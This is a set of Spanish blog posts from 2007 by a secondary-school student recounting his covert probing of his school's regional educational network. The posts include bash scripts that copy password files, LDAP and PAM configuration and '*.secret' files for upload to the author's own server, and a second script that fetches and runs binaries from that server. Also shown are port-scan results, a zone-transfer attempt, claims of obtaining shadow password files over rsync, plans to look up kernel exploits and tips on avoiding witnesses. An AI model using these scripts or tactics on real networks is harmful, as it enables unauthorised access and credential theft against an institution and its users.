lunes, noviembre 12, 2007

Progresos en el centro tic

Hola a todos, siento no haber podido escribir aun el post sobre el script que tenía preparado para la fonera, pero es que el instituto no me deja demasiado tiempo últimamente, examen de física, de lengua... en fin que ahora ando ocupado. De todas formas todavía tengo pendientes tres post, uno sobre el script de la fonera, otro sobre ion3 (un increíble escritorio para linux) y uno mas contando mi nuevo proyecto (es sobre programación). Sin embargo ahora os cuento lo que he hecho esta misma mañana en el centro tic, ya os he contado que en alternativa estamos en el aula de dibujo... bien, pues la gente ya se ha cansado de los ordenadores así que hoy he tenido uno de ellos a mi disposición, solo con dos testigos, ambos de confianza, uno si está interesado en el tema de la informática y tal, y el otro no, se puso a escuchar música en el mp3 y algunas veces usaba el ordenador un rato. Bueno yo lo primero que quise hacer fue descargar mi script, wget fon.gs/sh, pero se ve que yo le cambiaría el nombre o algo hace tiempo, porque el script no se descargó. Sin embargo hay una extraña característica que no me gusta nada en 1and1 y no se como evitarla, el caso es que si tu pones algo y no lo encuentra a veces puede darte unas opciones de archivos que se parecen, para ver a que me refiero poner en el navegador fon.gs/sh y veréis lo que os sale. Entonces yo vi ese archivo en la consola y me acordé de que script.sh.first es el primer script que ejecuté en esos PCs y script.sh.work la versión con la que yo estaba trabajando en mi red local, para pruebas, pero se parece demasiado a la versión definitiva, así que me descargué ese archivo. Intenté ejecutar dicho script pero daba un error en el bloque if, así que nada hice un cat script.sh y miré lo que hacía para ir ejecutando las cosas manualmente, lo primero que hice fue mirar si yo tenía acceso a la intranet de la junta, así que vi en el script el nslookup que comprueba si el dns resuelve el nombre del servidor f0 de otro centro tic, así fue, aquí esta el resultado:

$ nslookup c0.14704533.11.andared.cec.junta-andalucia.es
Server: 192.168.0.2
Address: 192.168.0.2#53

Non-authoritative answer:
f0.14704533.11.andared.cec.junta-andalucia.es canonical name = ns.14704533.11.andared.cec.junta-andalucia.es.
Name: ns.14704533.11.andared.cec.junta-andalucia.es
Address: 10.53.110.130

Como yo esperaba el nombre fue resuelto, pero ahí no estaba acabado tenía que comprobar el acceso a dicha ip: wget 10.53.110.130 y se descargo una página html! funcionó! rápidamente lo puse en el navegador para ver que efectivamente se trataba del centro tic que yo suponía y así era, tengo acceso a la intranet!! Bueno, realmente a vi la pagina web conectándome al c0 de dicho centro tic, no a f0, pero es que solo he guardado registro de la dirección de f0, aunque mi intención era guardar las dos, bueno sería un despiste, a este tema también hay que añadir que evidentemente se trata de una intranet porque la ip pertenece al rango usado en redes locales, y lógicamente no se puede acceder a ella desde el exterior.

Mas cosas, ahora sobre nfs, los pcs si tienen showmount instalado, se ve que la primera vez que yo lo ejecuté habría algún error o algo, o quizás aquel pc por algún motivo no tenía el paquete (hoy he estado en el otro PC)... el caso es que hoy si ha funcionado así que he podido averiguar el directorio que se monta por nfs. Se trata del /home/nfs de c0:

$ showmount -e c0
Export list for c0:
/home/nfs 192.168.0.0/21

Es lo único que me ha mostrado showmount, (que en realidad es bastante).

Ahora toca rsync, que hoy el día ha sido completito, aquí sobran palabras es más fácil poner los resultados:

$ rsync f0::
boot
scripts
guadalinex2004
guadalinex2004-act1-wifi
guadalinex2004-act1-toshiba2
Samsung-x05_gl2_video

Mira, parece interesante ahora os cuento que hay en cada carpeta, scripts, contiene los scripts que ya descargué del ftp el año pasado y ya he hablado de ellos en... bueno ahora no encuentro el/los post/s pero estoy seguro de que lo he comentado, si eso luego busco mejor y edito este post para enlazarlos. La carpeta boot, no me acuerdo lo que tiene, lo miré pero también se me paso guardar el log. La siguiente, guadalinex-2004 contiene los archivos de arranque, no se del mismo tipo que se pueden encontrar en un cd bootable o en un pendrive bootable, como también los tengo no me valen para nada. Las siguientes tres carpetas contienen a primera vista lo mismo:

$ rsync f0::guadalinex-2004-act1-toshiba
drwxr-xr-x 4096 2006/07/04 16:34:39 .
-rw-r--r-- 3748 2005/05/12 13:44:13 .deb
lrwxr-xr-x 18 2006/06/27 16:52:37 vmlinuz
drwxr-xr-x 4096 2006/07/04 16:34:39 auto
drwxr-xr-x 4096 2006/07/04 16:34:39 bin
drwxr-xr-x 4096 2006/07/04 16:34:39 boot
drwxr-xr-x 4096 2006/07/04 16:34:39 cdrom
drwxr-xr-x 28672 2006/07/04 16:34:39 dev
drwxr-xr-x 8192 2006/07/04 16:34:39 etc
drwxr-xr-x 4096 2006/07/04 16:34:39 floppy
drwxr-sr-x 4096 2006/07/04 16:34:39 home
drwxr-xr-x 4096 2006/07/04 16:34:40 initrd
drwxr-xr-x 4096 2006/07/04 16:34:40 lib
drwxr-xr-x 4096 2006/07/04 16:34:40 lost+found
drwxr-xr-x 4096 2006/07/04 16:34:40 mnt
drwxr-xr-x 4096 2006/07/04 16:34:40 opt
drwxr-xr-x 4096 2006/07/04 16:34:40 proc
drwxr-xr-x 4096 2006/07/04 16:34:40 root
drwxr-xr-x 4096 2006/07/04 16:34:40 sbin
drwxr-xr-x 4096 2006/07/04 16:34:40 sys
drwxr-xr-t 4096 2006/07/04 16:34:40 tmp
drwxr-xr-x 4096 2006/07/04 16:34:40 usr
drwxr-xr-x 4096 2006/07/04 16:34:40 var

Las otras dos tienen lo mismo solo con cambios en la hora, la carpeta Samsung... también difiere de guadalinex-2004-* en dos o tres cosas mas: .deb que no lo tiene, tiene un fichero llamado vmlinuz.old, no tiene el directorio auto, y tampoco el directorio sys. Esa son las diferencias. Yo vi ahí una oportunidad de oro para conseguir el passwd y el shadow. Mi intención aquí era también coger todos los que hubiera, sin embargo el de Samsung... se me ha olvidado. En cambio de guadalinex-2004-act1-* los he cogido. No voy a postearlos aquí, pero si que los voy a comentar, tienen los mismos usuarios, sin embargo hay un par de diferencias, los usuarios usuario y profesor tienen uids y gids que difieren en una unidad, me refiero de un fichero a otro, en un passwd usuario es 1000 y en otro es 1001. Luego las contraseñas de los shadow, son cadenas distintas las que aparecen en los dos ficheros. Otra cosa que me ha llamado la atención es que es la de root y la de usuario y profesor no están cifradas con el mismo algoritmo. Root es DES y las otras dos md5. Eso es así en ambos ficheros shadows.

Y ya solo me queda una cosa, el tema de los paquetes y del repositorio. He almacenado la caché de apt y también la lista de paquetes instalados en el pc. Existen paquetes muy interesantes, del estilo:

cga-ldap-conf
cga-nfssyncd
cga-passphrase
libnss-ldap
libpam-ldap

Y algunos mas que todavía no he mirado, pero todos los del cga los voy a mirar con lupa. Tengo una lista mas amplia después de una primera revisión, pero ahora mismo lo que me ha parecido mas interesante han sido esos. El primero es para la configuración de ldap, el segundo para "sincronización de escritorios remotos mediante nfs y rsync", el siguiente "Passphrase necesaria para la administración remota", y los dos siguientes son paquetes normales necesarios para la configuración de ldap, sin embargo lo curioso es que esos paquetes han sido creados por el cga, así que pueden incorporar algún regalito, esto me lo imagino por la versión de los paquetes: 238-1ubuntu2-cga0 y 178-1ubuntu3-cga0 respectivamente. Estos paquetes y quizás alguno mas cuando analice la lista con detenimiento, los descargaré del repositorio (f0) y los miraré con tranquilidad, porque seguro que dan algo útil.

Pues nada ya os dejo que tengo que estudiar lengua y llevo una hora de retraso respecto a la hora a la que quería empezar, pero es que tenía muchas ganas de contaros esto :D

PD: Es posible que el post tenga algunas faltas y fallos de formato, ya si eso luego lo reviso despacio, que no quiero perder mas tiempo que tengo que irme a estudiar ya ;)

jueves, noviembre 08, 2007

Lunes de scripts

Este año en alternativa (no doy religión) nos meten en el aula de dibujo, es una hora a la semana, los lunes y lo mejor es en ese aula al final hay un par de PCs de sobremesa conectados a la red TIC, aparentemente configurados del mismo modo que los portátiles, lo de la red tic lo se porque tienen acceso a f0 y c0, lo otro lo supuse porque están en manos del CGA, el primer día que lo usé salió un mensaje en el área de notificación que ponía mas o menos "el equipo va a ser actualizado por el CGA", así que si la configuración no es exactamente la misma debería parecerse bastante. Este par de PCs dan muchas posibilidades, podría ver si arrancan desde usb y de ser así hacerme root, podría intentar lo del netboot, podría ejecutar scripts en él, etc.

La primera vez que lo cogí no hice prácticamente nada, además no tenía ningún sitio donde guardar los resultados, porque el ftp está capado. Sin embargo para el lunes siguiente se me ocurrió montarlo un poco mejor, en mi hosting de 1and1, puse una página php que me permite subir archivos, así puede enviar los resultados independientemente de que el ftp esté cerrado. El código php lo busqué en google, porque yo no se php así que lo de programarlo yo mismo chungo. Además de eso el script a ejecutar lo puse en el server también para descargarlo desde el PC del instituto.

El código php lo encontré vía google, llegué al blog unijimpe.net, que tiene un post comentando precisamente ese tema.

Aunque lo modifiqué un poco (la parte html) para que solo mostrará lo imprescindible, para que cuando lo usara en el instituto no mostrara nada mas que el cuadro de texto con el botón examinar para elegir en archivo y el botón upload. El original tiene un título llamativo, además muestra los archivos que ya se han subido, y creo que poco mas, pero llama mas la atención. El código (el modificado por mi, no el original) no lo voy a poner aquí directamente es un poco largo, lo podéis ver en mi server, el original está en el post que comento antes.

Esa parte de la infraestructura ya esta lista, ya puedo subir los resultados, pero los resultados de qué? He hecho dos scripts, uno lo he ejecutado ya, el otro no. El que he ejecutado lo que hace es copiar la configuración de ldap, y ya que estamos
copia la los archivos de configuración de pam, para ver como están configurado lo de la autenticación ldap. Ejecuta showmount para ver que directorios del servidor NFS se pueden montar. Además copia la configuración de la red. También ejecuta uname -a para posteriormente buscar algún posible exploit (esto no lo hace el script, lo del exploit lo hago yo en securityfocus...). Por último lo comprime todo en un tar.gz y ese archivo es el que yo subo manualmente a mi server.

El script en cuestión es éste:
#!/bin/bash
mkdir ~/logs
mount > ~/logs/mount

# ldap backup
cp -R /etc/pam.d ~/logs
cp /etc/*.secret ~/logs/
cp -R /etc/ldap ~/logs
cp /etc/nsswitch.conf ~/logs
cp /etc/libnss-ldap.conf ~/logs
cp /etc/passwd ~/logs
cp /etc/pam_ldap.conf ~/logs

# nfs directories
showmount -e f0 > ~/logs/showmount.f0
showmount -a f0 >> ~/logs/showmount.f0
showmount -e c0 > ~/logs/showmount.c0
showmount -a c0 >> ~/logs/showmount.c0

# net config
ifconfig -a > ~/logs/ifconfig
iwconfig > ~/logs/iwconfig
cp /etc/network/interfaces ~/logs/net.interfaces
route > ~/logs/route

# other
uname -a > ~/logs/uname

tar -czvf ~/logs.tar.gz ~/logs/*

Para terminar la faena hice dos redirecciones al estilo tinyurl para acortar la dirección, pero lo hice con fon.gs, que ya de por si es corto, y ademas permite elegir el nombre del enlace, yo puse script y upload, pero me pareció que quedaría mejor mas corto así que al final me quedé con sh y up. De modo que quedaron estas dos url: fon.gs/sh y fon.gs/up. La primera es el script y la segunda la pagina a la que subo el resultado.

Ya el resto era fácil solo era ejecutar en pc del instituto:

$ wget fon.gs/sh
$ sh script.sh

Y subir a fon.gs/up el archivo ~/logs/logs.tar.gz.

En realidad no fue tan fácil, el primer día cuando estuve mirando manualmente algunas cosas, se acercó mucha gente a los PCs (solo hay dos en ese aula) y no me hacía ninguna gracia que la gente se diera cuenta de todo, así que paré, de hecho la idea de los scripts fue para hacer las cosas mas rápido y acabar prácticamente nada mas empezar. El siguiente lunes, era cuando iba a ejecutar este plan, pensaba hacerlo nada mas entrar, ir rápidamente a un PC y ejecutarlo antes de que la gente se acercara, pero no fue así, la gente fue nada mas entrar, así que plan destrozado, sin embargo pensé que el final de la hora, justo cuando acaba la clase y la gente se levanta y se va, podía hacerlo en pocos segundos y apagar yo el ordenador. Así fue, cuando acabo la hora la gente se levantó y fue hacia la puerta pero yo al que estaba en el pc le dije, espera no lo apagues! y lo hice todo. Al final solo un testigo, bastante mejor que los 10 o 15 que podría haber tenido.

Los resultados que revisé en mi casa, fueron... digamos inesperados. LDAP no estaba configurado, los ficheros de configuración eran los que aparecían por defecto, así que sigo sin saber nada sobre ldap, se ve que estos dos pcs no están configurados en ese aspecto, los portátiles si lo estarán porque los servidores tienen el servicio ldap funcionando. Respecto al archivo /etc/passwd, simplemente lo copié para ver si el usuario root esta deshabilitado o no en ese fichero, y no, lo que aparece es una x, es decir, hay que recurrir a shadow.

Respecto al showmount, no valió para nada, no estaba instalado el paquete nfs-common o nfs-utils, se ve que tampoco tienen nfs estos pcs. Desde luego si están en manos del CGA no se porque no están igual que los portátiles, y si están en manos del instituto... pues simplemente no veo nadie capaz de hacerlo.

La red no dio ninguna sorpresa, está conectado por wifi a la red Andared (la misma que usan los portátiles. Por último el uname, este fue el resultado:

Linux pc226-1 2.6.12-10-686 #1 Thu Dec 22 11:55:07 UTC 2005 i686 GNU/Linux

Todavía no he hecho ninguna búsqueda intensiva de exploits, pero quizás haya alguno útil....

Después de estos resultados el siguiente domingo preparé otro script para el lunes correspondiente, de hecho valoré la posibilidad de dejar la fonera y hacerlas cosas en esos PCs, ahorrándome las pilas, la fonera y la fontenna y los problemas de espacio, pero esa posibilidad la vi rápidamente frustrada el lunes siguiente. Precisamente por el problema que he contado antes, como solo hay dos pcs en el aula mucha gente se pone en torno a ellos, así que he decidido dejar ese tema, volveré a la fonera.

Para el siguiente lunes, el script que tenía preparado lo que hacía era intentar de nuevo lo del showmount, pero esta vez descargando el ejecutable primero, también uso rsync para ver cuales son los directorios "sincronizables" del servidor, intento resolver dos nombres (dns) de servidores que corresponden a otro centro tic de mi ciudad, lo hago para ver si existe alguna intranet a la que yo pueda acceder fácilmente o si solo desde Sevilla tienen tienen acceso a todo (CGA), también intenta descargar el index.html del c0 del otro centro tic, porque a lo mejor el dns me lo resuelve pero no tengo acceso. Luego hace un dpkg -l y guarda el resultado, todo esto lo comprime en ~/logs/logs.tar.gz. Pero al script le queda una cosa más, copia la cache de apt, bueno en realidad no se si se llama así, me refiero a los archivos que descarga de cada repositorio cuando haces un apt-get update, los que tienen las listas de archivos, esto lo descargo para saber si tienen algo útil, porque en el hipotético caso de que yo fuera root podría instalar todo y si esta en el repositorio mejor. Esto va al fichero ~/logs/apt.tar.gz, creo que no lo he dicho antes, el carácter ~, simboliza el /home del usuario, por ejemplo si yo pongo en mi pc cd ~/logs, es como cd /home/neobius/logs.

El script es este:

#!/bin/bash
rm -r ~/logs
mkdir ~/logs

wget http://neobius.es/sh/showmount
chmod +x showmount

RSYNC=$(ls /usr/bin/rsync)
RSYNC2=/usr/bin/rsync
if [ "$RSYNC" == "$RSYNC2" ]; then
rsync 192.168.0.1:: > ~/logs/rsync;
else
wget http://neobius.es/sh/rsync
chmod +x rsync
./rsync 192.168.0.1:: > ~/logs/rsync;
fi

./showmount -e 192.168.0.2 > ~/logs/showmount
echo -e "\r" >> ~/logs/showmount
./showmount -a 192.168.0.2 >> ~/logs/showmount

nslookup c0.14704533.11.andared.cec.junta-andalucia.es 192.168.0.1 > ~/logs/dns1
nslookup c0.14704533.11.andared.cec.junta-andalucia.es 192.168.0.2 > ~/logs/dns2
wget http://c0.11700603.11.andared.cec.junta-andalucia.es -O ~/logs/intranet

dpkg -l > ~/logs/packets

tar -czvf ~/logs/logs.tar.gz ~/logs/*

cp -r /var/lib/apt/ ~/logs/
tar -czvf ~/logs/apt.tar.gz ~/logs/apt/*

Ya lo he explicado antes, pero voy a añadir algunos detalles, lo primero es descargar showmount, que esperé que funcionara, primero cogí el del paquete de ubuntu nfs-common, y lo iba a dejar así cuando se me ocurrió arrancar el live cd de guadalinex v3 en vmware y probarlo... no funcionó, el ejecutable creo que daba algún error de libc o algo parecido. Pero eso tiene fácil solución, en vez de usar el paquete de ubuntu uso el del repositorio de guadalinex, dicho y hecho, después ya funcionó. Luego se le dan permisos y se ejecuta solo hacia el servidor que tiene nfs corriendo (c0). Si os fijáis he ejecutado el mismo comando con la opción -e y luego -a. El primero muestra la export list, los directorios que se pueden montar, el segundo muestra toda la información (all), incluso que directorios están montados y por quién. Un ejemplo en mi red local (debian es mi server):

# showmount -e 192.168.0.6
Export list for 192.168.0.6:
/media/home 192.168.0.0/255.255.255.0
# showmount -a 192.168.0.6
All mount points on 192.168.0.6:
192.168.0.0/255.255.255.0:/media/home
192.168.0.10:192.168.0.0/255.255.255.0
192.168.0.11:/media/home
192.168.0.11:192.168.0.0/255.255.255.0
192.168.0.21:192.168.0.0/255.255.255.0
192.168.0.5:192.168.0.0/255.255.255.0

Ahora vamos con el tema del rsync, imagino que muchos ya lo conoceréis porque creo que ya he hablado de él por aquí, pero por si acaso os lo cuento, simplemente permite sincronizar directorios locales o remotos, por ejemplo yo tengo en mi servidor el directorio /media/almacen/trabajos y ahí tengo una carpeta por asignatura y dentro de cada los trabajos y también algunos archivos de texto con links que me resultó útil consultar al estudiar el tema (en realidad no lo tengo, es un ejemplo inventado) y quiero hacer un backup en mi portátil, o quiero copiarlo todo para ver mis trabajos, o lo que sea, el caso es que copia la carpeta entera con lo que tenga dentro. Imaginaros las utilidades que queráis a mi la principal que se me ocurre es backups y mirroring, que es lo que hace el repositorio de guadalinex, quien quiera hacer un mirror copia todo el repositorio con rsync. Volvemos al script, comprueba si el archivo existe en el pc, si existe lo usa, sino lo descarga y lo ejecuta contra f0, que es quien tiene el servicio corriendo. Como os he dicho antes el repositorio guadalinex lo usa, así que lo usaremos para ilustrar la entrada:

# rsync pool.guadalinex.org::


Repositorios de Guadalinex


Esta máquina contiene los siguientes repositorios:

* Guadalinex-liron (v1.0)
* Guadalinex-muflon (v2004)
* Guadalinex-flamenco (V3)
* Guadalinex-toro (V4)
* Ubuntu's (breezy, dapper y edgy)





guadalinex-flamenco Mirror de Guadalinex v3 (Flamenco)
guadalinex-toro Mirror de Guadalinex v4 (Toro)
ubuntu Mirrors de Ubuntu (breezy, dapper y edgy)
mirror Repositorio oficial de Guadalinex 2004
guadalinex Repositorio oficial de Guadalinex 1.0
guadalinex-descargas Descargas de Guadalinex (isos, documentacion, etc)

Cuando se ejecuta sin indicarle ningún directorio nos muestra cuales son los que se pueden sincronizar y eso es lo que yo quiero ver en f0.

Ahora toca lo de nslookup y wget, ya os he contado antes para que es, pero voy a añadir una cosa, la dirección es ésta:

c0.14704533.11.andared.cec.junta-andalucia.es

Lo primero puede cambiar c0, f0 y pc-xxx (xxx es un número), es decir la a juzgar por los nombres deberían de ser accesibles desde el exterior. A continuación viene el código del centro que sea (ese no es el mio, el código es inventado), a continuación viene un número que yo diría es el código de provincia, y que se saca del número anterior, pues todos los de Cádiz empiezan por 11, en Jaén por 23, en Sevilla por 41, etc. Y lo último es un nombre fijo, por cierto el nombre junta-andalucia.es no se resuelve desde el exterior, me lo apunto para la próxima, a ver si desde dentro ese dominio apunta a algún sitio.

Ya para acabar lo del apt, y dpkg, nada que añadir.

El script como os he dicho antes no lo he podido ejecutar y seguramente no lo haré en esos PCs, de hecho como ya os dije en el post anterior tengo un script listo para la fonera, pero eso os lo cuento en el siguiente post. La idea inicial de lunes de scripts, queda anulada, no puedo llevarla a cabo, así que habrá que contar con las complicaciones de la fonera. Fue bonito mientras duró, esos pcs abrían bastantes puertas, pero no han servido para nada :(

PD: Ahora que me acuerdo ahora en matemáticas creo que vamos a dar geometría y creo que vamos a usar los portátiles por parejas con el programa geogebra, así que igual puedo retomar lo de los scripts y usarlos en los portátiles...

PD2: He hecho un cambio de estilo, los script en vez de ponerlos en cursiva los he puesto usando el tag html "pre" ya veis el resultado, que os parece?

Sigo vivo

Hola a todos, hace mas de un mes que no escribo, pero todavía estoy vivo, he tenido un mes movidito con el instituto, he tenido que hacer un trabajo sobre hardware (dispositivos de entrada, salida, e/s) que me ha ocupado unas 25 páginas de las que he escrito yo cada coma, no iba a copiarlo como ha hecho la mayoría... y la mayoría han suspendido. Ese trabajo me quitó muchas tardes, también dibujo técnico ha tenido mucha culpa, el primer tema ha sido a un ritmo trepidante, nos mandaba 5 ó 6 ejercicios al día, y eso o lo hacías cada tarde (tengo dibujo 4 días a la semana) o no hay manera, después el examen de dibujo que le dio la gana de ponerlo por la tarde "porque en una hora no da tiempo a hacerlo", ole sus c*j*n*s. Y más cosas, como leerse un libro para lengua, etc. pero tampoco voy a contaros toda mi vida escolar, que esto un blog sobre linux :D

Con el poco tiempo que he ido teniendo he intentado avanzar un poco, de hecho tengo preparado otro script para la fonera y he preparado dos script para PCs del instituto, pero solo he podido ejecutar uno de los dos. Bueno como no quiero escribir un post larguísimo que cuente las dos cosas a la vez, termino este post aquí y os cuento las dos cosas en dos post separados que me pongo a escribir ahora (espero acabarlos hoy, pero tengo que estudiar física...).

Antes de acabar el post voy a añadir una cosa que me ha llamado la atención, la cantidad de visitas que recibo a través de google (bueno en realidad son pocas, pero es bastante mas de las que recibo de mis lectores fieles), de hecho durante todo el mes que no he actualizado el blog no solo no han caído las visitas, si no que han aumentado, en septiembre tuve un total de 1837 visitas y en octubre 2803. Y por cierto, tengo 52 personas suscritas a mi feed (de feedburner, al de blogger no lo sé) :D vale, ya se que es muy poco, pero alegra saber que tienes 52 lectores que no te han eliminado de su lector de feeds por llevar un mes si actualizar. Ahora si acabado el post, me pongo a escribir los otros y prometo intentar recuperar el ritmo de nuevo.

jueves, septiembre 27, 2007

Primer scaneo al centro tic

Desde el jueves no actualizo el blog, pero estoy por aquí de nuevo. El lunes finalmente volví al instituto, bueno el lunes realmente fue la presentación, nos dijeron a que grupo vamos cada uno (este año hay tres 1º de bachillerato), nos dieron el horario y poco mas. El martes no me llevé la fonera, porque la mochila no hacía falta y llamaría un poquito la atención. El miércoles si que me lleve la fonera, el portapilas, cuatro pilas nuevas en su funda y la fontenna, es la antena mas robusta que tengo y no me hace gracia meter una omnidireccional en la mochila, no veo la mochila como el lugar mas seguro, así que la fontenna aguantaría mejor hipotéticos golpes. La fontenna la he montado en la mochila en la parte donde van los libros, mi mochila solo tiene dos "bolsillos", uno grande para los libros y delante uno pequeño que yo uso para llevar calculadora, boli, etc. la fontenna la he pegado con papel celo (de ese de plástico que sirve para pegar), está ahí fija con el cable liado entorno a ella en forma de circulo. He hecho un pequeño agujero para poder pasar el cable al otro bolsillo, donde va la fonera. No se si me entendéis, quizás luego suba alguna foto. Bueno sigo con la historia, el miércoles no lo hice porque no vi el momento de colocar las pilas, que prefiero que no se entere mucha gente y sacar un portapilas y 4 pilas es un descaro. Además en mi clase no me puedo fiar de mucha gente, si se entera algún amigo accidentalmente pues no me molestaría demasiado, pero es que en mi clase somos 29 alumnos y ahí 17 nuevos!!! Pues eso que ese día no tuve oportunidad de hacerlo sigilosamente así directamente no lo hice.

El jueves cambió la cosa, yo quería hacerlo desde mi clase, que tiene su AP wireless puesto y quería como mínimo tenerlo una hora fijo en un mismo lugar, por aquello de no perder la conexión con el AP, que con el lío de routers wifi que hay... han puesto prácticamente uno por clase y algunos están pared con pared, así que el tema de moverme... lo mínimo, como todos los AP tienen el mismo essid y están a dos pasos uno de otro mejor que se quede conectado a uno solo. La idea entonces era poner las pilas en el portapilas sin que se diera cuenta nadie y conectarlo, fácil no? pues no, pero pensando al final di con el momento ideal, tercera hora, tocaba dibujo técnico y yo estoy al final de la clase. Justo antes de que terminara clase puse las pilas pero sin conectarlo a la fonera, me fui deprisa a mi clase (ahora tocaba inglés) y lo conecté al llegar, lo deje encendido hasta que se apago (2 horas o 2 horas y media), esta tarde he comprobado que solo tardó 28 minutos. Cuando acabo la hora moví la mochila por el instituto, por necesidad, no por gusto, pero afortunadamente había acabado ya.

Por la tarde, en mi casa, conecté la fonera a mi router y a la corriente eléctrica para ver los resultados. Me conecté por ssh a la fonera y a mi cuenta ssh en el servidor de 1and1.es para comprobar si los datos se habían subido correctamente al ftp. No estaban, el ftp estará bloqueado en el firewall. Luego ya en la fonera tuve la suerte de contar con un backup comprimido de todos los datos (el archivo logs.tar.gz que debería haberse subido al ftp). Como el script se autoejecuta en el arranque el fichero date (el que controla el tiempo) había sido sobreescrito y el fichero que guarda los que muestra en pantalla el script al ejecutarse (dump) también fue sobreescrito. Copié los logs al portátil y me puse a mirarlos, todo lo demás excepto el traceroute a google.es fue bien.

No voy a poner todos los logs tal cual porque pueden desvelar de que instituto soy y quiero mantener un mínimo de privacidad, pero si los voy a comentar. Vamos por el orden en que se ejecutan las cosas, primero miré el tiempo, el fichero date contiene esto:

Sat Jan 1 00:01:06 UTC 2000
Sat Jan 1 00:01:35 UTC 2000
Sat Jan 1 00:27:57 UTC 2000

Se ejecuta 1 minuto después del arranque y pocos segundos después ya estaba conectada a la red, y finalmente acabo todo en 28 minutos, no está mal, mas o menos lo mismo que mi red.

Los ficheros iwconfig y ifconfig confirman que efectivamente ya estaba conectada a la red. Un detalle importante en el que me fijaré para la próxima ejecución (espero que la semana que viene) es la configuración de la red:

inet addr:192.168.1.204 Bcast:192.168.3.255 Mask:255.255.252.0

Con eso sabemos que las ips van desde 192.168.0.1 hasta 192.168.3.254, tendré que scanear esos rangos. De hecho el año pasado el router de mi antigua clase (ahora estoy en la otra punta del instituto, asignaba ips del rango 192.168.3.x, por lo que seguramente habrá hosts en todos los rangos.

El scaneo tcp a todos los puertos de f0 devolvió un resultado que no esperaba:

PORT STATE SERVICE
20/tcp closed ftp-data
21/tcp open ftp
53/tcp open domain
80/tcp open http
389/tcp open ldap
443/tcp open https
873/tcp open rsync
6667/tcp closed irc
6881/tcp closed bittorent-tracker
6882/tcp closed unknown
6883/tcp closed unknown
8080/tcp open http-proxy
8083/tcp closed unknown

Hay unos puertos abiertos y otros pone que están cerrados, recurriendo al manual de nmap leo que eso significa que se ha respondido a las sondas de nmap pero que no hay ningún servicio escuchando en él, en otras palabras que no esta bloqueado (filtrado) pero nada se ejecuta en ese puerto.

Continuando, amap nos dice que hay en cada puerto y sus indicaciones son estas (están resumidas y solo los datos que creo mas útiles):

21: ftp: ProFTPD 1.2.10 Server (Debian)
53: dns
80: http: Dansguardian
389: ldap
443: ssl: la palabra andalucia es de las pocas descifrables, no da mas detalles.
873: rsync
8080: http: Dansguardian

Así resumido eso es lo que se deduce de amap. Como se puede ver ahora el resultado de nmap quedó mucho mejor:

20/tcp closed ftp-data
21/tcp open ftp ProFTPD 1.2.10
53/tcp open domain ISC Bind 9.2.4
80/tcp open http-proxy DansGuardian HTTP proxy
389/tcp open ldap (Anonymous bind OK)
443/tcp open ssl OpenSSL
873/tcp open rsync (protocol version 29)
6667/tcp closed irc
6881/tcp closed bittorent-tracker
6882/tcp closed unknown
6883/tcp closed unknown
8080/tcp open http-proxy DansGuardian HTTP proxy
8083/tcp closed unknown

Mas inteligible y creo que mas completo, el de amap realmente hay que descifrarlo, me gusta mas como ha funcionado nmap, pero de volver a hacerlo usaría nuevamente las 2 herramientas.

A continuación lo mismo pero con el otro servidor, con c0. Scaneo normal, amap y nmap -sV. Vamos con lo primero, los puertos abiertos que dio fueron estos: 21, 22, 25, 53, 80, 111, 199, 389, 443, 631, 688, 691, 981, 2049, 3306, 4949, 9999, 40792.

El resultado de amap:

21: ftp: ProFTPD 1.2.10 Server (Debian)
22: openssh: SSH-2.0-OpenSSH_3.8.1p1 Debian-8.sarge.6
25: smtp: localhost.localdomain ESMTP Postfix (Debian/GNU)
53: dns
80: http: Apache/1.3.33 Ben-SSL/1.55 (Debian GNU/Linux)
111: no está en los resultados de amap??!!
199: snmp
389: ldap
443: ssl: el banner estará cifrado solo se distingue la palabra Andalucía y poco mas.
631: cups: Server CUPS/1.1
688: rpc-status-v1
981: rpc-mountd-v3
2049: rpc: rpc-nfs-v3
3306: mysql
4949: no está en los resultados de amap
9999: http
40972: rpc-nlockmgr-v4

Y el de nmap -sV:

21: ftp: ProFTPD 1.2.10
22: ssh: OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0)
25: smtp: Postfix smtpd
53: domain: ISC Bind 9.2.4
80: http: Apache httpd 1.3.33 (Ben-SSL/1.55 (Debian GNU/Linux) PHP/5.1.6-1~bpo.1)
111: rpcbind: 2 (rpc #100000)
199: smux: Linux SNMP multiplexer
389: ldap: (Anonymous bind OK)
443: ssl: OpenSSL
631: ipp: CUPS 1.1
688: status: 1 (rpc #100024)
691: rquotad: 1-2 (rpc #100011)
981: mountd: 1-3 (rpc #100005)
2049: nfs: 2-3 (rpc #100003)
3306: mysql: MySQL 4.1.11-Debian_4sarge7-log
4949: tcpwrapped
9999: http: apt-proxy httpd
40792: nlockmgr: 1-4 (rpc #100021)

Después lo que tocaba era un scaneo dns, para buscar nombres de las máquinas. A partir de la ip 192.168.0.50 empezaba a dar nombres, algo así: pc50-0.código-del-centro.11.andared.cec.junta-andalucia.es. Lógicamente donde he puesto "código del centro" va un número que identifica a cada centro educativo. Lo de pc50 va cambiando: pc51, pc52.... No he scaneado la red entera porque no tenía conocimiento de su tamaño, pero me lo apunto para la próxima, el último que tengo es pc254.... El nombre que reciben las máquinas hace pensar en la existencia de una red andaluza que conecta todos los centros educativos y lo controla el cga, de hecho no solo lo supongo, lo sé, según he leído es "la red educativa telemática mas grande del mundo".

Tras eso toca una parte interesante un scaneo arp ping para conocer que máquinas estaban activas, el resultado solo han sido los dos servidores y (creo) varios routers wifi DLink:

192.168.0.1 (f0)
192.168.0.2 (c0)
192.168.0.50 (pc50)
192.168.0.224 (pc224)
192.168.0.246 (p246)
192.168.0.247 (pc247)

Ya falta poco para acabar, las rutas, primero como las ve nmap. Éste nos dice que el router es f0. Luego traceroute a f0, c0 y google.es. Primero hay 30 saltos que ninguno ha dado resultados, se supone que corresponde a f0, después toca c0, que solo está la primera línea, por lo que supongo que paso por él antes que por ninguna otra cosa (exceptuando el ap wifi). El trazado a google.es solo da el primer router, f0, luego ya no aparece nada mas.

Intentamos una transferencia de zona, pero no estamos autorizados:

Using domain server:
Name: 192.168.0.1
Address: 192.168.0.1#53
Aliases:

Host junta-andalucia.es not found: 9(NOTAUTH)
; Transfer failed.

Probaré también a hacerlo con c0, ya que los dos servidores tienen dns.

Por último se comprime todo y se envía a por ftp pero eso no funcionó, se ve que está bloqueado.

